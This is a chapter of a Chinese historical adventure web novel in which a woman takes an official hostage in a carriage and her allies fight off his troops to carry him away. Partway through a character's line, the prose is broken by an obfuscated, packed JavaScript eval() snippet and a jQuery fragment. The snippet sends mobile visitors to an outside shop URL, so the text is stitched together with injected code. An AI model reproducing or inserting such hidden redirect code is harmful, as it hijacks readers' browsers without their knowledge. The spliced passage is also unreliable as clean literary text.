36. 阴沟翻船
    明新微刚才一时心急,叫了逐日过来,但很快意识到她带着陈籍是不可能骑逐日离去的,但又不愿露怯,让人看出她的窘境,因此干脆不去看逐日,只当没有刚才那一茬,扬声道:“吴有胜,你来驾车!”

    “不行!”小将罗小楼当即道,似乎也看出了明新微的困境,一刀砍断了马儿与马车相连的辔头绳索。

    明新微毫不犹豫,刀锋一偏,狠狠在陈籍肩上斜拉了一刀,听他闷哼一声,冲楼小罗喝道:“你再妄动,就别怪我不客气!”

    罗小楼也没想到这女子竟然真不手软,一时也有些惊疑不定,又听她道:“哼,倒还多谢你帮我换马了。你——那个手上生冻疮的,你去把逐日套上。”

    想来想去,马车她是不敢轻易出的,若有人从身后偷袭,她不确定自己能应付得来。

    那个一脸老实巴交的小卒没曾想大人物交锋,还有他的戏唱,左右看看,甚至也不敢说话,只用布满冻疮的手,迟疑地指了指自己。

    “对,就是你,快点!”明新微色厉内荏道。

    罗小楼心想,正好假意套马,趁机解救恩相,便积极道:“我来吧!”

    “你休要动作!我说什么是什么!”明新微喝道。

    罗小楼没法,只好冲那小卒一点头,同时眼睛抽筋一样,疯狂冲他打眼色。

    偏偏那是个实心眼的老实人,平时一个指令一个动作惯了,哪里能看得懂罗小楼的眼色?在这么多人地注视下,只觉得手脚没处摆放,一见上峰点了头,便略有些惊慌地跑上前去,埋头吭哧吭哧地把马套在马车上。逐日似是也知道此时要如何行事,乖巧地任由人套上缰绳,一动不动,只甩甩尾巴。

    罗小楼见那小卒飞快地套好马,便如同火烧屁股一样跑回人群,心里暗骂一声蠢货。此时逐日打了一个响鼻,竟然就想拉起车小跑起来。

    “恩相!”罗小楼没料到这马竟然如此通人性,连忙出手阻拦,一众兵卒见状,也忙刀枪棍棒相加,将逐日的团团围住,马儿嘶鸣一声,终究寸步难行。

    一时便陷入僵局。

    陈籍早就料到了她的困境,就算他一着不慎让她拿刀胁迫了,她也万难走出这马车,因而分外平静,压低声音道:“蝉光,就凭你,是决计没法挟持我离开的,若你此时迷途知返,还有一条活路。”

    明新微也知道这些兵将拼死也不敢就这么放自己轻易挟持陈籍离开,而吴有胜那边人数稀少,也冲破不了重重阻碍前来支援。

    陈籍心中一动,又生一计,蓦的高声道:“我一早就派人去信了济州知州,只怕此时济州的田将军已在带兵前来的同我交接的路上,僵持在这里,不过是将你们一网打尽罢了。”

    他这话自然是假,兵不厌诈,意在离间,想让明新微的同伙弃她而去。

    此言一出,果然一些心智不坚的立安山喽啰便开始面露犹豫,窃窃私语道:“我们人太少了,不如回去搬救兵吧。”

    陈籍又接着道:“此女与我有些缘分,虽然冒犯于我,但也罪不至死,你们要还敢来救,日后只管放马过来。”

    吴有胜听了此言,心想,也该是她倒霉,若按照他们的计划,陈籍被他引出了马车,由杨束擒住了抓在手里断后,不知多顺利,但她自己抢先一步将人挟持在马车里了,不上不下,又出不来,属实难办。不过,看这样子,她若落到对方手里,不过受些折辱,应当死不了,现在陷入僵局,又在这官道上,一但有援军到来,他们只有这点人马,大大不妙,总不好白白将大家都折在此处。

    陈籍察言观色,见吴有胜被他说动,便面露得色,对他身旁强弩之末的人轻声道:“你以为你舍生相救的同伴有多在意你?还是乖乖……”

    话音未落,便见一人单枪匹马从侧边山林借势跃出,落到逐日马背上,一柄重剑发出“咣”地破空声,力有千钧,势如破竹,借着兵刃往周遭画出一圈,打横一扫,乒乒乓乓缴得一众兵器四散飞出。

    逐日昂起头,激动地嘶鸣一声,便往前奋力而行。

    尉迟礼见状,精神一震,口中大喝一声,高声喊道:“杨兄,我来助你——”,而后劈手夺过一个立安山喽啰手中的兵器,便打马往前冲杀。

    梁玉恭和陶大也纷纷夺了兵器上前,吴有胜一看有戏,本就与陈籍有仇,也抡起手刀,一夹马肚,前去助力。

    罗小楼眼见双方悍勇非常,不敢直摄其锋芒,连忙调转马头,退出战圈,嘶声喊道:“弓箭手!弓箭手!合围!合围!”

    但仓促之间,又在狭长的官道上,哪里又能形成有效的包围,双方人马混在一起,弓箭手也不知该如何瞄准,软绵绵地射出零星的箭矢,反而伤了己方不少兵卒。

    眼见对方如同两柄利剑,各自撕开口子,势不可挡地汇合在一起,一众兵卒再无力抵抗,眼睁睁见着逐日高昂头颅,拉着马车冲到了前方。

    尉迟礼、梁玉恭和吴有胜三人从马车两侧包抄过来,与罗小楼慌忙之间召集起来的一队骑兵战作一团。

    杨束知他三人不一定抵挡得住,冲陶大喊到:“速走,我们断后。”而后一踩马背,跃到空中,在马车顶上一借力,落到后方。

    尉迟礼、梁玉恭和吴有胜本战得吃力,此时己方加入一大助力,战局立时倾倒,四人将官道拦得密不透风,水泼不进,一应兵卒不得寸进分毫。

    罗小楼心中焦急万分,一边指挥着众人进攻,一边分心去看拉着陈籍跑远的马车,慌乱间,他被一柄宽刃手刀“哐当”砍中了头盔,眼前一黑,身体仍然下意识地躲避,模模糊糊听见头顶上传来一阵令人牙酸的金属摩擦声,他被这力道带着,跌落到马下,耳朵里全是嗡嗡地鸣叫,仿佛有遮天蔽日地蝗虫炸开翅膀飞起,要将他啃食干净。

    “罗将军——罗将军——”

    不知过了多久,似乎有人在他耳边忽远忽近地叫唤。

    罗小楼终于回过神来,哆嗦着手,擦了一下流下来的鼻血,四下看看,官道尽头已经没了马车的影子,而一群残兵都在等着他拿主意。

    他终于回过神来,意识到——陈籍丢了!!

    但他的饭碗可不能丢,上有老下有小,得赶紧补救!他拽住缰绳,强撑着要上马,虽头晕目眩,但心中仍有一线清明,口中喃喃道:“知州……快去、去济

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176679|146118||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    州知州府!”

    陈籍万万没想到这番变故,想他在夔州战场上坐镇大杀四方,履历花团锦簇,简在帝心,进阶中枢。升官发财死原配,哪个官人看了不叹一声羡慕?哪成想这继弦出了幺蛾子,他初始还觉得有点趣味,没成想最后在阴沟里翻了船。

    他见那个叫杨束的高手断后去了,换了个傻大黑粗的来驾车,心想,为今之计,只能兵行险着了。虽说兔子被逼急了,也能咬人,但她一个养在深闺的小娘子,闲来写点吟风弄月的诗词,还能真敢杀他不成?

    他仍旧一副不徐不疾地样子,开口道:“蝉光,你可知你在做甚么?玩火玩脱了,我也无法替你遮掩。”

    明新微根本不想和他多费口舌,只斥道:“闭嘴!”而后压下心中焦急,细细留心马车后面的动静,一面想要听到断后的四人归来的马蹄声,一面又不想听到太多马蹄声,因为那就意味着追兵来了。

    陈籍忽然惊奇道:“杨束?”

    他趁着明新微分神的一瞬,整个人往后倒去,同时伸手去扣住她握着匕首的右手。

    明新微早就猜到陈籍必然不会老实,虽然他一介文质书生不懂拳脚,但到底是个成年男子,一但发难她未必能制住,此时见他有意想要夺取匕首,当即抬起膝盖,便向他脐下狠狠撞去。

    “啊——”

    陈籍痛得眼前发黑,手中也失了力道。

    明新微重新夺回匕首,比划两下,一咬牙,往他大腿上狠狠扎了一刀。

    “唔——”

    驾车的陶大听见动静,心道不好,也管不得身后会不会有追兵了,当即“吁——”了一声。

    他握着朴刀,反身进马车里去,见明新微半跪在在地上,双手仍握着匕首扎在陈籍大腿上,深色的血迹洇开了大片,可见并没手下留情。她见了陶大,深深吸了一口气,咽了一口唾沫,道:“先捆起来。”声音里却有一丝不易察觉的颤抖。

    等杨束四人归来,明新微已经收拾好了自己的情绪,但吴有胜却压抑不住激动,红着眼道:“哈哈哈,天道好轮回,也叫这狗官落到我手里!尉迟兄弟,咱们有怨报怨,有仇报仇,你若不介意,不如我先来吧?”而后磨拳擦掌,一副要将人扒皮抽骨的架势。

    尉迟礼见吴有胜这热血上头的样子,迟疑道:“我觉得,还是快些赶路,等回到山中,同庞先生商议一番,再行定夺不迟?”

    提到庞秀,吴有胜稍微冷静了下来,他这脑子虽然盘算计谋不行,但也知道兹事体大,不是他痛快行事就行的,但心中憋闷,嘴里骂骂咧咧道:“要按爷爷我说,直接一刀切了了事,个鸟玩意!”

    梁玉恭“呸”一声吐掉口中血沫:“尉迟哥哥,不杀了他,还不兴我们出口气吗?”

    尉迟礼想他因为自己的缘故被冤枉下狱,又在陷车里挨饿受冻了一路,心里必定憋着气呢,不好再多说什么,叹息一声,只好道:“注意点分寸,别弄死了。”

    吴有胜这才正眼打量起这个瘦小的少年,一身新伤加旧伤,毛发枯糙,但眼睛却闪着狼崽子的光,他笑道:“哈哈,你小子看着是个机灵的,你说,如何出气?”